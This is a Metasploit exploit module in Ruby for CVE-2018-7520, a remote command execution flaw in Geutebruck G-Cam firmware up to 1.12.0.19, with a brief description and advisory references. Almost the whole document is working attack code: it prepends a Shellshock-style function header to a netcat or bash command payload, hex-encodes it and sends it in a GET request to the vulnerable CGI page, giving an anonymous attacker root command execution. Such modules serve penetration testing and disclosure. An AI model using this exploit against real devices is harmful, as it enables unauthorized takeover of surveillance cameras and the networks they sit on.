This Metasploit module exploits a an arbitrary command execution vulnerability. The vulnerability exists in the /uapi-cgi/viewer/simple_loglistjs.cgi page and allows an anonymous user to execute arbitrary commands with root privileges. Firmware <= 1.12.0.19 are concerned. Tested on 5.02024 G-Cam/EFD-2250 running 1.12.0.4 firmware.
3c493d70dda3e9875442ed78bc1db5d8##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'Geutebruck simple_loglistjs.cgi Remote Command Execution',
'Description' => %q{
This module exploits a an arbitrary command execution vulnerability. The
vulnerability exists in the /uapi-cgi/viewer/simple_loglistjs.cgi page and allows an
anonymous user to execute arbitrary commands with root privileges.
Firmware <= 1.12.0.19 are concerned.
Tested on 5.02024 G-Cam/EFD-2250 running 1.12.0.4 firmware.
},
'Author' =>
[
'Nicolas Mattiocco', #CVE-2018-7520 (RCE)
'Davy Douhine' #CVE-2018-7520 (RCE) and metasploit module
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2018-7520' ],
[ 'URL', 'http://geutebruck.com' ],
[ 'URL', 'https://ics-cert.us-cert.gov/advisories/ICSA-18-079-01' ]
],
'Privileged' => false,
'Payload' =>
{
'DisableNops' => true,
'Space' => 1024,
'Compat' =>
{
'PayloadType' => 'cmd',
'RequiredCmd' => 'generic netcat bash',
}
},
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Targets' => [[ 'Automatic', { }]],
'DefaultTarget' => 0,
'DisclosureDate' => 'Mar 20 2018'))
register_options(
[
OptString.new('TARGETURI', [true, 'The base path to webapp', '/uapi-cgi/viewer/simple_loglistjs.cgi']),
], self.class)
end
def exploit
header = "(){ :;}; "
encpayload = "#{header}#{payload.encoded}"
uri = target_uri.path + "?" + Rex::Text.uri_encode(encpayload, "hex-all")
print_status("#{rhost}:#{rport} - Attempting to exploit...")
res = send_request_raw(
{
'method' => 'GET',
'uri' => uri
})
end
end